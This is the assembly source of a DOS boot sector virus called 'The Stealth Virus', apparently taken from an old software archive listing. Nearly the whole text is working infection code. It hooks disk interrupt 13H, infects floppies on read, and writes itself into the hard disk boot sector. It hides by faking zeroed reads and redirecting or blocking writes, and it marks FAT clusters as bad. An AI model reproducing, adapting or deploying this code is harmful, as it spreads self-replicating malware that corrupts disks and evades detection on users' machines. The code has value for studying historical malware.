home *** CD-ROM | disk | FTP | other *** search
- ;The Stealth Virus is a boot sector virus which remains resident in memory
- ;after boot so it can infect disks. It hides itself on the disk and includes
- ;special anti-detection interrupt traps so that it is very difficult to
- ;locate. This is a very infective and crafty virus.
-
- COMSEG SEGMENT PARA
- ASSUME CS:COMSEG,DS:COMSEG,ES:COMSEG,SS:COMSEG
-
- ORG 100H
-
- START:
- jmp BOOT_START
-
- ;*******************************************************************************
- ;* BIOS DATA AREA *
- ;*******************************************************************************
-
- ORG 413H
-
- MEMSIZE DW 640 ;size of memory installed, in KB
-
- ;*******************************************************************************
- ;* VIRUS CODE STARTS HERE *
- ;*******************************************************************************
-
- ORG 7000H
-
- STEALTH: ;A label for the beginning of the virus
-
-
- ;*******************************************************************************
- ;Format data consists of Track #, Head #, Sector # and Sector size code (2=512b)
- ;for every sector on the track. This is put at the very start of the virus so
- ;that when sectors are formatted, we will not run into a DMA boundary, which
- ;would cause the format to fail. This is a false error, but one that happens
- ;with some BIOS's, so we avoid it by putting this data first.
- FMT_12M: ;Format data for Track 80, Head 1 on a 1.2 Meg diskette,
- DB 80,1,1,2, 80,1,2,2, 80,1,3,2, 80,1,4,2, 80,1,5,2, 80,1,6,2
-
- FMT_360: ;Format data for Track 40, Head 1 on a 360K diskette
- DB 40,1,1,2, 40,1,2,2, 40,1,3,2, 40,1,4,2, 40,1,5,2, 40,1,6,2
-
-
- ;*******************************************************************************
- ;* INTERRUPT 13H HANDLER *
- ;*******************************************************************************
-
- OLD_13H DD ? ;Old interrupt 13H vector goes here
-
- INT_13H:
- sti
- cmp ah,2 ;we want to intercept reads
- jz READ_FUNCTION
- cmp ah,3 ;and writes to all disks
- jz WRITE_FUNCTION
- I13R: jmp DWORD PTR cs:[OLD_13H]
-
-
- ;*******************************************************************************
- ;This section of code handles all attempts to access the Disk BIOS Function 2,
- ;(Read). It checks for several key situations where it must jump into action.
- ;they are:
- ; 1) If an attempt is made to read the boot sector, it must be processed
- ; through READ_BOOT, so an infected boot sector is never seen. Instead,
- ; the original boot sector is read.
- ; 2) If any of the infected sectors, Track 0, Head 0, Sector 2-7 on
- ; drive C are read, they are processed by READ_HARD, so the virus
- ; code is never seen on the hard drive.
- ; 3) If an attempt is made to read Track 1, Head 0, Sector 1 on the
- ; floppy, this routine checks to see if the floppy has already been
- ; infected, and if not, it goes ahead and infects it.
-
- READ_FUNCTION: ;Disk Read Function Handler
- cmp dh,0 ;is it head 0?
- jnz I13R ;nope, let BIOS handle it
- cmp ch,1 ;is it track 1?
- jz RF0 ;yes, go do special processing
- cmp ch,0 ;is it track 0?
- jnz I13R ;no, let BIOS handle it
- cmp cl,1 ;track 0, is it sector 1
- jz READ_BOOT ;yes, go handle boot sector read
- cmp dl,80H ;no, is it hard drive c:?
- jz RF1 ;yes, go check further
- jmp I13R ;else let BIOS handle it
-
- RF0: cmp dl,80H ;is it hard disk?
- jnc I13R ;yes, let BIOS handle read
- cmp cl,1 ;no, floppy, is it sector 1?
- jnz I13R ;no, let BIOS handle it
- call CHECK_DISK ;is floppy already infected?
- jz I13R ;yes so let BIOS handle it
- call INFECT_FLOPPY ;no, go infect the diskette
- jmp SHORT I13R ;and then let BIOS do the read
-
- RF1: cmp cl,8 ;sector < 8?
- jnc I13R ;nope, let BIOS handle it
- jmp READ_HARD ;yes, divert read on the C drive
-
-
- ;*******************************************************************************
- ;This section of code handles all attempts to access the Disk BIOS Function 3,
- ;(Write). It checks for two key situations where it must jump into action. They
- ;are:
- ; 1) If an attempt is made to write the boot sector, it must be processed
- ; through WRITE_BOOT, so an infected boot sector is never overwritten.
- ; instead, the write is redirected to where the original boot sector is
- ; hidden.
- ; 2) If any of the infected sectors, Track 0, Head 0, Sector 2-7 on
- ; drive C are written, they are processed by WRITE_HARD, so the virus
- ; code is never overwritten.
-
- WRITE_FUNCTION: ;BIOS Disk Write Function
- cmp dh,0 ;is it head 0?
- jnz I13R ;nope, let BIOS handle it
- cmp ch,0 ;is it track 0?
- jnz I13R ;nope, let BIOS handle it
- cmp cl,1 ;is it sector 1
- jnz WF1 ;nope, check for hard drive
- jmp WRITE_BOOT ;yes, go handle boot sector read
- WF1: cmp dl,80H ;is it the hard drive c: ?
- jnz I13R ;no, another hard drive
- cmp cl,8 ;sector < 8?
- jnc I13R ;nope, let BIOS handle it
- jmp WRITE_HARD ;else take care of writing to C:
-
-
- ;*******************************************************************************
- ;This section of code handles reading the boot sector. There are three
- ;possibilities: 1) The disk is not infected, in which case the read should be
- ;passed directly to BIOS, 2) The disk is infected and only one sector is
- ;requested, in which case this routine figures out where the original boot
- ;sector is and reads it, and 3) The disk is infected and more than one sector
- ;is requested, in which case this routine breaks the read up into two calls to
- ;the ROM BIOS, one to fetch the original boot sector, and another to fetch the
- ;additional sectors being read. One of the complexities in this last case is
- ;that the routine must return the registers set up as if only one read had
- ;been performed.
- ; To determine if the disk is infected, the routine reads the real boot sector
- ;into SCRATCHBUF and calls IS_VBS. If that returns affirmative (z set), then
- ;this routine goes to get the original boot sector, etc., otherwise it calls ROM
- ;BIOS and allows a second read to take place to get the boot sector into the
- ;requested buffer at es:bx.
-
- READ_BOOT:
- push ax ;save registers
- push bx
- push cx
- push dx
- push ds
- push es
- push bp
-
- push cs ;set ds=es=cs
- pop es
- push cs
- pop ds
- mov bp,sp ;and bp=sp
-
- RB001: mov al,dl
- call GET_BOOT_SEC ;read the real boot sector
- jnc RB01 ;ok, go on
- call GET_BOOT_SEC ;do it again to make sure
- jnc RB01 ;ok, go on
- jmp RB_GOON ;error, let BIOS return err code
- RB01: call IS_VBS ;is it the viral boot sector?
- jz RB02 ;yes, jump
- jmp RB_GOON ;no, let ROM BIOS read sector
- RB02:; mov bx,OFFSET SCRATCHBUF + (OFFSET DR_FLAG - OFFSET BOOT_START)
- mov bx,OFFSET SB_DR_FLAG ;required instead of ^ for a86
-
- mov al,BYTE PTR [bx] ;get disk type of disk being
- cmp al,80H ;read, and make an index of it
- jnz RB1
- mov al,4
- RB1: mov bl,3 ;to look up location of boot sec
- mul bl
- add ax,OFFSET BOOT_SECTOR_LOCATION ;ax=@BOOT_SECTOR_LOCATION table
- mov bx,ax
- mov ch,[bx] ;get track of orig boot sector
- mov dh,[bx+1] ;get head of orig boot sector
- mov cl,[bx+2] ;get sector of orig boot sector
- mov dl,ss:[bp+6] ;get drive from original spec
- mov bx,ss:[bp+10] ;get read buffer offset
- mov ax,ss:[bp+2] ;and segment
- mov es,ax ;from original specification
- mov ax,201H ;prepare to read 1 sector
- pushf
- call DWORD PTR [OLD_13H] ;do BIOS int 13H
- mov al,ss:[bp+12] ;see if original request
- cmp al,1 ;was for more than one sector
- jz RB_EXIT ;no, go exit
-
- READ_1NEXT: ;more than 1 sec requested, so
- pop bp ;read the rest as a second call
- pop es ;to BIOS
- pop ds
- pop dx ;first restore these registers
- pop cx
- pop bx
- pop ax
-
- add bx,512 ;prepare to call BIOS for
- push ax ;balance of read
- dec al ;get registers straight for it
- inc cl
-
- cmp dl,80H ;is it the hard drive?
- jnz RB15 ;nope, go handle floppy
-
- push bx ;handle an infected hard drive
- push cx ;by faking read on extra sectors
- push dx ;and returning a block of 0's
- push si
- push di
- push ds
- push bp
-
- push es
- pop ds ;ds=es
-
- mov BYTE PTR [bx],0 ;set first byte in buffer = 0
- mov si,bx
- mov di,bx
- inc di
- mov ah,0 ;ax=number of sectors to read
- mov bx,512 ;bytes per sector
- mul bx ;# of bytes to read in dx:ax<64K
- mov cx,ax
- dec cx ;number of bytes to move in cx
- rep movsb ;fill buffer with 0's
-
- clc ;clear c, fake read successful
- pushf ;then restore everyting properly
- pop ax ;first set flag register
- mov ss:[bp+20],ax ;as stored on the stack
- pop bp ;and pop all registers
- pop ds
- pop di
- pop si
- pop dx
- pop cx
- pop bx
- pop ax
- mov ah,0
- dec cl
- sub bx,512
- iret ;and get out
-
- RB15: ;read next sectors on floppy
- pushf ;call BIOS to
- call DWORD PTR cs:[OLD_13H] ;read the rest (must use cs)
- push ax
- push bp
- mov bp,sp
- pushf ;use c flag from BIOS call
- pop ax ;to set c flag on the stack
- mov ss:[bp+10],ax
- jc RB2 ;if error, return ah from 2nd rd
- sub bx,512 ;else restore registers so
- dec cl ;it looks as if only one read
- pop bp ;was performed
- pop ax
- pop ax ;and exit with ah=0 to indicate
- mov ah,0 ;successful read
- iret
-
- RB2: pop bp ;error on 2nd read
- pop ax ;so clean up stack
- add sp,2 ;and get out
- iret
-
- RB_EXIT: ;exit from single sector read
- mov ax,ss:[bp+18] ;set the c flag on the stack
- push ax ;to indicate successful read
- popf
- clc
- pushf
- pop ax
- mov ss:[bp+18],ax
- pop bp ;restore all registers
- pop es
- pop ds
- pop dx
- pop cx
- pop bx
- pop ax
- mov ah,0
- iret ;and get out
-
- RB_GOON: ;This passes control to BIOS
- pop bp ;for uninfected disks
- pop es ;just restore all registers to
- pop ds ;their original values
- pop dx
- pop cx
- pop bx
- pop ax
- jmp I13R ;and go jump to BIOS
-
-
- ;*******************************************************************************
- ;This table identifies where the original boot sector is located for each
- ;of the various disk types. It is used by READ_BOOT and WRITE_BOOT to redirect
- ;boot sector reads and writes.
-
- BOOT_SECTOR_LOCATION:
- DB 40,1,6 ;Track, head, sector, 360K drive
- DB 80,1,6 ;1.2M drive
- DB 79,1,9 ;720K drive
- DB 79,1,18 ;1.44M drive
- DB 0,0,7 ;Hard drive
-
-
- ;*******************************************************************************
- ;This routine handles writing the boot sector for all disks. It checks to see
- ;if the disk has been infected, and if not, allows BIOS to handle the write.
- ;If the disk is infected, this routine redirects the write to put the boot
- ;sector being written in the reserved area for the original boot sector. It
- ;must also handle the writing of multiple sectors properly, just as READ_BOOT
- ;did.
-
- WRITE_BOOT:
- push ax ;save everything we might change
- push bx
- push cx
- push dx
- push ds
- push es
- push bp
- mov bp,sp
-
- push cs ;ds=es=cs
- pop ds
- push cs
- pop es
-
- mov al,dl
- call GET_BOOT_SEC ;read the real boot sector
- jnc WB01
- call GET_BOOT_SEC ;do it again if first failed
- jnc WB01
- jmp WB_GOON ;error on read, let BIOS take it
- WB01: call IS_VBS ;else, is disk infected?
- jz WB02 ;yes
- jmp WB_GOON ;no, let ROM BIOS write sector
- WB02:; mov bx,OFFSET SCRATCHBUF + (OFFSET DR_FLAG - OFFSET BOOT_START)
- mov bx,OFFSET SB_DR_FLAG ;required instead of ^ for a86
-
- mov al,BYTE PTR [bx]
- cmp al,80H ;infected, so redirect the write
- jnz WB1
- mov al,4 ;make an index of the drive type
- WB1: mov bl,3
- mul bl
- add ax,OFFSET BOOT_SECTOR_LOCATION ;ax=@table entry
- mov bx,ax
- mov ch,[bx] ;get the location of original
- mov dh,[bx+1] ;boot sector on disk
- mov cl,[bx+2] ;prepare for the write
- mov dl,ss:[bp+6]
- mov bx,ss:[bp+10]
- mov ax,ss:[bp+2]
- mov es,ax
- mov ax,301H
- pushf
- call DWORD PTR [OLD_13H] ;and do it
- sti
- mov dl,ss:[bp+6]
- cmp dl,80H ;was write going to hard drive?
- jnz WB_15 ;no
- mov BYTE PTR [DR_FLAG],80H ;yes, update partition info
- push si
- push di
- mov di,OFFSET PART ;just move it from sec we just
- mov si,ss:[bp+10] ;wrote into the viral boot sec
- add si,OFFSET PART
- sub si,OFFSET BOOT_START
- push es
- pop ds
- push cs
- pop es ;switch ds and es around
- mov cx,20
- rep movsw ;and do the move
- push cs
- pop ds
- mov ax,301H
- mov bx,OFFSET BOOT_START
- mov cx,1 ;Track 0, Sector 1
- mov dx,80H ;drive 80H, Head 0
- pushf ;go write updated viral boot sec
- call DWORD PTR [OLD_13H] ;with new partition info
- pop di ;clean up
- pop si
-
- WB_15: mov al,ss:[bp+12]
- cmp al,1 ;was write more than 1 sector?
- jz WB_EXIT ;if not, then exit
-
- WRITE_1NEXT: ;more than 1 sector
- mov dl,ss:[bp+6] ;see if it's the hard drive
- cmp dl,80H
- jz WB_EXIT ;if so, ignore rest of the write
- pop bp ;floppy drive, go write the rest
- pop es ;as a second call to BIOS
- pop ds
- pop dx
- pop cx ;restore all registers
- pop bx
- pop ax
- add bx,512 ;and modify a few to
- push ax ;drop writing the first sector
- dec al
- inc cl
- pushf
- call DWORD PTR cs:[OLD_13H] ;go write the rest
- sti
- push ax
- push bp
- mov bp,sp
- pushf ;use c flag from call
- pop ax ;to set c flag on the stack
- mov ss:[bp+10],ax
- jc WB2 ;an error
- ;so exit with ah from 2nd int 13
- sub bx,512
- dec cl
- pop bp
- pop ax
- pop ax ;else exit with ah=0
- mov ah,0 ;to indicate success
- iret
-
- WB2: pop bp ;exit with ah from 2nd
- pop ax ;interrupt
- add sp,2
- iret
-
-
- WB_EXIT: ;exit after 1st write
- mov ax,ss:[bp+18] ;set carry on stack to indicate
- push ax ;a successful write operation
- popf
- clc
- pushf
- pop ax
- mov ss:[bp+18],ax
- pop bp ;restore all registers and exit
- pop es
- pop ds
- pop dx
- pop cx
- pop bx
- pop ax
- mov ah,0
- iret
-
- WB_GOON: ;pass control to ROM BIOS
- pop bp ;just restore all registers
- pop es
- pop ds
- pop dx
- pop cx
- pop bx
- pop ax
- jmp I13R ;and go do it
-
-
- ;*******************************************************************************
- ;Read hard disk sectors on Track 0, Head 0, Sec > 1. If the disk is infected,
- ;then instead of reading the true data there, return a block of 0's, since
- ;0 is the data stored in a freshly formatted but unused sector. This will
- ;fake the caller out and keep him from knowing that the virus is hiding there.
- ;If the disk is not infected, return the true data stored in those sectors.
-
- READ_HARD:
- call CHECK_DISK ;see if disk is infected
- jnz RWH_EX ;no, let BIOS handle the read
- push ax ;else save registers
- push bx
- push cx
- push dx
- push si
- push di
- push ds
- push bp
- mov bp,sp
- mov BYTE PTR es:[bx],0 ;zero the first byte in the blk
- push es
- pop ds
- mov si,bx ;set up es:di and ds:si
- mov di,bx ;for a transfer
- inc di
- mov ah,0 ;ax=number of sectors to read
- mov bx,512 ;bytes per sector
- mul bx ;number of bytes to read in ax
- mov cx,ax
- dec cx ;number of bytes to move
- rep movsb ;do fake read of all 0's
-
- mov ax,ss:[bp+20] ;now set c flag
- push ax ;to indicate succesful read
- popf
- clc
- pushf
- pop ax
- mov ss:[bp+20],ax
-
- pop bp ;restore everything and exit
- pop ds
- pop di
- pop si
- pop dx
- pop cx
- pop bx
- pop ax
- mov ah,0 ;set to indicate successful read
- iret
-
- RWH_EX: jmp I13R ;pass control to BIOS
-
-
- ;*******************************************************************************
- ;Handle writes to hard disk Track 0, Head 0, 1<Sec<8. We must stop the write if
- ;the disk is infected. Instead, fake the return of an error by setting carry
- ;and returning ah=4 (sector not found).
-
- WRITE_HARD:
- call CHECK_DISK ;see if the disk is infected
- jnz RWH_EX ;no, let BIOS handle it all
- push bp ;yes, infected, so . . .
- push ax
- mov bp,sp
- mov ax,ss:[bp+8] ;get flags off of stack
- push ax
- popf ;put them in current flags
- stc ;set the carry flag
- pushf
- pop ax
- mov ss:[bp+8],ax ;and put flags back on stack
- pop ax
- mov ah,4 ;set up sector not found error
- pop bp
- iret ;and get out of ISR
-
-
- ;*******************************************************************************
- ;See if disk dl is infected already. If so, return with Z set. This
- ;does not assume that registers have been saved, and saves/restores everything
- ;but the flags.
-
- CHECK_DISK:
- push ax ;save everything
- push bx
- push cx
- push dx
- push ds
- push es
- push cs
- pop ds
- push cs
- pop es
- mov al,dl
- call GET_BOOT_SEC ;read the boot sector
- jnc CD1
- xor al,al ;act as if infected
- jmp SHORT CD2 ;in the event of an error
- CD1: call IS_VBS ;see if viral boot sec (set z)
- CD2: pop es ;restore everything
- pop ds ;except the z flag
- pop dx
- pop cx
- pop bx
- pop ax
- ret
-
-
- ;*******************************************************************************
- ;This routine determines from the boot sector parameters what kind of floppy
- ;disk is in the drive being accessed, and calls the proper infection routine
- ;to infect the drive. It has no safeguards to prevent infecting an already
- ;infected disk. the routine CHECK_DISK must be called first to make sure you
- ;want to infect before you go and do it. This restores all registers to their
- ;initial state.
-
- INFECT_FLOPPY:
- pushf ;save everything
- push si
- push di
- push ax
- push bx
- push cx
- push dx
- push ds
- push es
- push cs
- pop es
- push cs
- pop ds
- sti
- mov bx,OFFSET SCRATCHBUF + 13H ;@ of sec cnt in boot sector
- mov bx,[bx] ;get sector count for this disk
- mov al,dl
- cmp bx,720 ;is it 360K? (720 sectors)
- jnz IF_1 ;no, try another possibility
- call INFECT_360K ;yes, infect it
- jmp SHORT IF_R ;and get out
- IF_1: cmp bx,2400 ;is it 1.2M? (2400 sectors)
- jnz IF_2 ;no, try another possibility
- call INFECT_12M ;yes, infect it
- jmp SHORT IF_R ;and get out
- IF_2: cmp bx,1440 ;is it 720K 3 1/2"? (1440 secs)
- jnz IF_3 ;no, try another possibility
- call INFECT_720K ;yes, infect it
- jmp SHORT IF_R ;and get out
- IF_3: cmp bx,2880 ;is it 1.44M 3 1/2"? (2880 secs)
- jnz IF_R ;no - don't infect this disk
- call INFECT_144M ;yes - infect it
- IF_R: pop es ;restore everyting and return
- pop ds
- pop dx
- pop cx
- pop bx
- pop ax
- pop di
- pop si
- popf
- ret
-
-
- ;*******************************************************************************
- ;Infect a 360 Kilobyte drive. This is done by formatting Track 40, Head 0,
- ;Sectors 1 to 6, putting the present boot sector in Sector 6 with the virus
- ;code in sectors 1 through 5, and then replacing the boot sector on the disk
- ;with the viral boot sector.
-
- INFECT_360K:
- call FORMAT_360 ;format the required sectors
- jc INF360_EXIT
-
- mov bx,OFFSET SCRATCHBUF ;and go write current boot sec
- push ax ;at Track 40, Head 1, Sector 6
- mov dl,al
- mov dh,1 ;head 1
- mov cx,2806H ;track 40, sector 6
- mov ax,0301H ;BIOS write, for 1 sector
- pushf
- call DWORD PTR [OLD_13H] ;(int 13H)
- pop ax
- jc INF360_EXIT
-
- mov di,OFFSET BOOT_DATA
- ; mov si,OFFSET SCRATCHBUF + (OFFSET BOOT_DATA - OFFSET BOOT_START)
- mov si,OFFSET SB_BOOT_DATA ;required instead of ^ for A86
-
- mov cx,32H / 2 ;copy boot sector disk info over
- rep movsw ;to new boot sector
- mov al,BYTE PTR [SCRATCHBUF + 1FDH] ;copy drive letter there as well
- mov BYTE PTR [BOOT_START + 1FDH],al
- mov BYTE PTR [DR_FLAG],0 ;set proper drive type
-
- push ax ;write new boot sector to disk
- mov bx,OFFSET BOOT_START ;buffer for the new boot sector
- call PUT_BOOT_SEC ;go write it to disk
- pop ax
- jc INF360_EXIT
-
- mov bx,OFFSET STEALTH ;buffer for 5 secs of stealth
- mov dl,al ;drive to write to
- mov dh,1 ;head 1
- mov cx,2801H ;track 40, sector 1
- mov ax,0305H ;write 5 sectors
- pushf
- call DWORD PTR [OLD_13H] ;(int 13H)
- INF360_EXIT:
- ret ;all done
-
-
- ;This routine formats Track 40, Head 1 so we can infect a 360k diskette.
- FORMAT_360:
- push ax ;save drive number in al
- mov dl,al ;dl=drive no.
- mov dh,1 ;head 0
- mov cx,2801H ;track 40, start at sector 1
- mov ax,0506H ;format 6 sectors
- mov bx,OFFSET FMT_360 ;format info for this sector
- pushf
- call DWORD PTR [OLD_13H] ;(int 13H)
- pop ax
- ret
-
-
- ;*******************************************************************************
- ;Infect 1.2 megabyte Floppy Disk Drive AL with this virus. This is essentially
- ;the same as the 360K case, except we format Track 80 instead of track 40.
-
- INFECT_12M:
- call FORMAT_12M ;format the required sectors
- jc INF12M_EXIT
-
- mov bx,OFFSET SCRATCHBUF ;and go boot sector at
- push ax
- mov dl,al
- mov dh,1 ;head 1
- mov cx,5006H ;track 80, sector 6
- mov ax,0301H ;BIOS write, for 1 sector
- pushf
- call DWORD PTR [OLD_13H] ;(int 13H)
- pop ax
- jc INF12M_EXIT
-
- mov di,OFFSET BOOT_DATA
- ; mov si,OFFSET SCRATCHBUF + (OFFSET BOOT_DATA - OFFSET BOOT_START)
- mov si,OFFSET SB_BOOT_DATA ;required instead of ^ for A86
-
- mov cx,32H / 2 ;copy boot sector disk info over
- rep movsw ;to new (viral) boot sector
- mov al,BYTE PTR [SCRATCHBUF + 1FDH] ;copy drive letter there as well
- mov BYTE PTR [BOOT_START + 1FDH],al
- mov BYTE PTR [DR_FLAG],1 ;set proper diskette type
-
- push ax ;and write viral boot sec to disk
- mov bx,OFFSET BOOT_START ;buffer for viral boot sector
- call PUT_BOOT_SEC ;go write it to disk
- pop ax
- jc INF12M_EXIT
-
- mov bx,OFFSET STEALTH ;buffer for 5 secs of stealth
- mov dl,al ;drive to write to
- mov dh,1 ;head 1
- mov cx,5001H ;track 80, sector 1
- mov ax,0305H ;write 5 sectors
- pushf
- call DWORD PTR [OLD_13H] ;(int 13H)
- INF12M_EXIT:
- ret ;all done
-
-
- ;Format Track 80, Head 1 so we can infect a 1.2 Meg diskette.
- FORMAT_12M:
- push ax
- mov dl,al ;set drive number
- mov dh,1 ;head 1
- mov cx,5001H ;track 80, start at sector 1
- mov ax,0506H ;format 6 sectors
- mov bx,OFFSET FMT_12M ;format info for this sector
- pushf
- call DWORD PTR [OLD_13H] ;(int 13H)
- pop ax
- ret
-
-
- ;*******************************************************************************
- ;Infect a 3 1/2" 720K drive. This process is a little different than for 5 1/4"
- ;drives. The virus goes in an existing data area on the disk, so no formatting
- ;is required. Instead, we 1) Read the boot sector and put it at Track 79, Head 1
- ;sector 9, 2) Put the five sectors of stealth routines at Track 79, Head 1,
- ;sector 4-8, 3) Put the viral boot sector at Track 0, Head 0, Sector 1, and
- ;4) Mark the diskette's FAT to indicate that the last three clusters are bad,
- ;so that DOS will not attempt to overwrite the virus code.
-
- INFECT_720K:
- mov bx,OFFSET SCRATCHBUF ;go write boot sec at
- push ax
- mov dl,al
- mov dh,1 ;head 1
- mov cx,4F09H ;track 79, sector 9
- mov ax,0301H ;BIOS write, for 1 sector
- pushf
- call DWORD PTR [OLD_13H] ;(int 13H)
- pop ax
- jc INF720K_EXIT ;exit on error
-
- push ax
- mov di,OFFSET BOOT_DATA
- ; mov si,OFFSET SCRATCHBUF + (OFFSET BOOT_DATA - OFFSET BOOT_START)
- mov si,OFFSET SB_BOOT_DATA ;required instead of ^ for A86
-
- mov cx,32H / 2 ;copy boot sector disk info over
- rep movsw ;to new boot sector
- mov al,BYTE PTR [SCRATCHBUF + 1FDH] ;copy drive letter there as well
- mov BYTE PTR [BOOT_START + 1FDH],al
- mov BYTE PTR [DR_FLAG],2 ;set proper diskette type
- pop ax
-
- push ax ;write new boot sector to disk
- mov bx,OFFSET BOOT_START
- call PUT_BOOT_SEC ;go write it
- pop ax
- jc INF720K_EXIT
-
- mov bx,OFFSET STEALTH ;buffer for 5 sectors of stealth
- mov dl,al ;drive to write to
- mov dh,1 ;head 1
- mov cx,4F04H ;track 79, sector 4
- mov ax,0305H ;write 5 sectors
- pushf
- call DWORD PTR [OLD_13H] ;(int 13H)
- jc INF720K_EXIT
-
- mov bx,OFFSET SCRATCHBUF ;now modify the FAT
- mov ax,0201H ;first read 1 sector
- mov cx,4 ;track 0, sector 4, head 0
- mov dh,0
- pushf
- call DWORD PTR [OLD_13H] ;(int 13H)
- jc INF720K_EXIT
-
- mov di,OFFSET SCRATCHBUF + 44 ;modify the FAT in RAM
- mov ax,7FF7H ;marking the last 3 clusters
- stosw ;as bad
- mov ax,0F7FFH
- stosw
- mov ax,0FFFH
- stosw
-
- mov ax,0301H ;now write the FAT back to disk
- mov cx,4 ;at track 0, sector 4, head 0
- pushf
- call DWORD PTR [OLD_13H]
- jc INF720K_EXIT
-
- mov ax,0301H ;do second FAT too
- mov cx,7 ;at track 0, sector 7, head 0
- pushf
- call DWORD PTR [OLD_13H]
-
- INF720K_EXIT:
- ret ;all done
-
-
- ;*******************************************************************************
- ;This routine infects a 1.44 megabyte 3 1/2" diskette. It is essentially the
- ;same as infecting a 720K diskette, except that the virus is placed in sectors
- ;13-17 on Track 79, Head 0, and the original boot sector is placed in Sector 18.
-
- INFECT_144M:
- mov bx,OFFSET SCRATCHBUF ;go write boot sec at
- push ax
- mov dl,al
- mov dh,1 ;head 1
- mov cx,4F12H ;track 79, sector 18
- mov ax,0301H ;BIOS write, for 1 sector
- pushf
- call DWORD PTR [OLD_13H] ;(int 13H)
- pop ax
- jc INF144M_EXIT
-
- push ax
- mov di,OFFSET BOOT_DATA
- ; mov si,OFFSET SCRATCHBUF + (OFFSET BOOT_DATA - OFFSET BOOT_START)
- mov si,OFFSET SB_BOOT_DATA ;required instead of ^ for A86
-
- mov cx,32H / 2 ;copy boot sector disk info over
- rep movsw ;to new boot sector
- mov al,BYTE PTR [SCRATCHBUF + 1FDH] ;copy drive letter there as well
- mov BYTE PTR [BOOT_START + 1FDH],al
- mov BYTE PTR [DR_FLAG],3 ;set proper diskette type
- pop ax
-
- push ax ;and write new boot sector to disk
- mov bx,OFFSET BOOT_START
- call PUT_BOOT_SEC ;go write it to disk
- pop ax
- jc INF144M_EXIT
-
- mov bx,OFFSET STEALTH ;buffer for 5 sectors of stealth
- mov dl,al ;drive to write to
- mov dh,1 ;head 1
- mov cx,4F0DH ;track 79, sector 13
- mov ax,0305H ;write 5 sectors
- pushf
- call DWORD PTR [OLD_13H] ;(int 13H)
-
- mov bx,OFFSET SCRATCHBUF ;now modify the FAT
- mov ax,0201H ;first read 1 sector
- mov cx,0AH ;track 0, sector 10, head 0
- mov dh,0
- pushf
- call DWORD PTR [OLD_13H] ;(int 13H)
- jc INF144M_EXIT
-
- mov di,OFFSET SCRATCHBUF + 0A8H ;modify the FAT in RAM
- mov ax,es:[di]
- and ax,000FH
- add ax,0FF70H
- stosw
- mov ax,07FF7H ;marking the last 6 clusters
- stosw ;as bad
- mov ax,0F7FFH
- stosw
- mov ax,0FF7FH
- stosw
- mov ax,0FF7H
- stosw
-
- mov ax,0301H ;now write the FAT back to disk
- mov cx,0AH ;at track 0, sector 10, head 0
- pushf
- call DWORD PTR [OLD_13H]
- jc INF144M_EXIT
-
- mov ax,0301H ;do second FAT too
- mov cx,1 ;at track 0, sector 1, head 1
- mov dh,1
- pushf
- call DWORD PTR [OLD_13H]
-
-
- INF144M_EXIT:
- ret ;all done
-
-
- ;*******************************************************************************
- ;Infect Hard Disk Drive AL with this virus. This involves the following steps:
- ;A) Read the present boot sector. B) Copy it to Track 0, Head 0, Sector 7.
- ;C) Copy the disk parameter info into the viral boot sector in memory. D) Copy
- ;the viral boot sector to Track 0, Head 0, Sector 1. E) Copy the STEALTH
- ;routines to Track 0, Head 0, Sector 2, 5 sectors total.
-
- INFECT_HARD:
- mov al,80H ;set drive type flag to hard disk
- mov BYTE PTR [DR_FLAG],al ;cause that's where it's going
-
- call GET_BOOT_SEC ;read the present boot sector
-
- mov bx,OFFSET SCRATCHBUF ;and go write it at
- push ax
- mov dl,al
- mov dh,0 ;head 0
- mov cx,0007H ;track 0, sector 7
- mov ax,0301H ;BIOS write, for 1 sector
- pushf
- call DWORD PTR [OLD_13H] ;(int 13H)
- pop ax
-
- push ax
- mov di,OFFSET BOOT_DATA
- ; mov si,OFFSET SCRATCHBUF + (OFFSET BOOT_DATA - OFFSET BOOT_START)
- mov si,OFFSET SB_BOOT_DATA ;required instead of ^ for A86
-
- mov cx,32H / 2 ;copy boot sector disk info over
- rep movsw ;to new boot sector
- mov di,OFFSET BOOT_START + 200H - 42H
- mov si,OFFSET SCRATCHBUF + 200H - 42H
- mov cx,21H ;copy partition table
- rep movsw ;to new boot sector too!
- pop ax
-
- push ax ;and write viral boot sector
- mov bx,OFFSET BOOT_START
- call PUT_BOOT_SEC
- pop ax
-
- mov bx,OFFSET STEALTH ;buffer for 5 sectors of stealth
- mov dl,al ;drive to write to
- mov dh,0 ;head 0
- mov cx,0002H ;track 0, sector 2
- mov ax,0305H ;write 5 sectors
- pushf
- call DWORD PTR [OLD_13H] ;(int 13H)
-
- ret
-
-
- ;*******************************************************************************
- ;This routine determines if a hard drive C: exists, and returns NZ if it does,
- ;Z if it does not.
- IS_HARD_THERE:
- push ds
- xor ax,ax
- mov ds,ax
- mov bx,475H ;Get hard disk count from bios
- mov al,[bx] ;put it in al
- pop ds
- cmp al,0 ;and see if al=0 (no drives)
- ret
-
-
- ;*******************************************************************************
- ;Read the boot sector on the drive AL into SCRATCHBUF. This routine must
- ;prserve AL!
-
- GET_BOOT_SEC:
- push ax
- mov bx,OFFSET SCRATCHBUF ;buffer for the boot sector
- mov dl,al ;this is the drive to read from
- mov dh,0 ;head 0
- mov ch,0 ;track 0
- mov cl,1 ;sector 1
- mov al,1 ;read 1 sector
- mov ah,2 ;BIOS read function
- pushf
- call DWORD PTR [OLD_13H] ;(int 13H)
- pop ax
- ret
-
-
- ;*******************************************************************************
- ;This routine writes the data at es:bx to the drive in al at Track 0,
- ;Head 0, Sector 1 for 1 sector, making that data the new boot sector.
-
- PUT_BOOT_SEC:
- mov dl,al ;this is the drive to write to
- mov dh,0 ;head 0
- mov ch,0 ;track 0
- mov cl,1 ;sector 1
- mov al,1 ;read 1 sector
- mov ah,3 ;BIOS write function
- pushf
- call DWORD PTR [OLD_13H] ;(int 13H)
- ret
-
-
- ;*******************************************************************************
- ;Determine whether the boot sector in SCRATCHBUF is the viral boot sector.
- ;Returns Z if it is, NZ if not. The first 30 bytes of code, starting at BOOT,
- ;are checked to see if they are identical. If so, it must be the viral boot
- ;sector. It is assumed that es and ds are properly set to this segment when
- ;this is called.
-
- IS_VBS:
- push si ;save these
- push di
- cld
- mov di,OFFSET BOOT ;set up for a compare
- ; mov si,OFFSET SCRATCHBUF + (OFFSET BOOT - OFFSET BOOT_START)
- mov si,OFFSET SB_BOOT ;required instead of ^ for A86
-
- mov cx,15
- repz cmpsw ;compare 30 bytes
- pop di ;restore these
- pop si
- ret ;and return with z properly set
-
-
- ;*******************************************************************************
- ;* A SCRATCH PAD BUFFER FOR DISK READS AND WRITES *
- ;*******************************************************************************
-
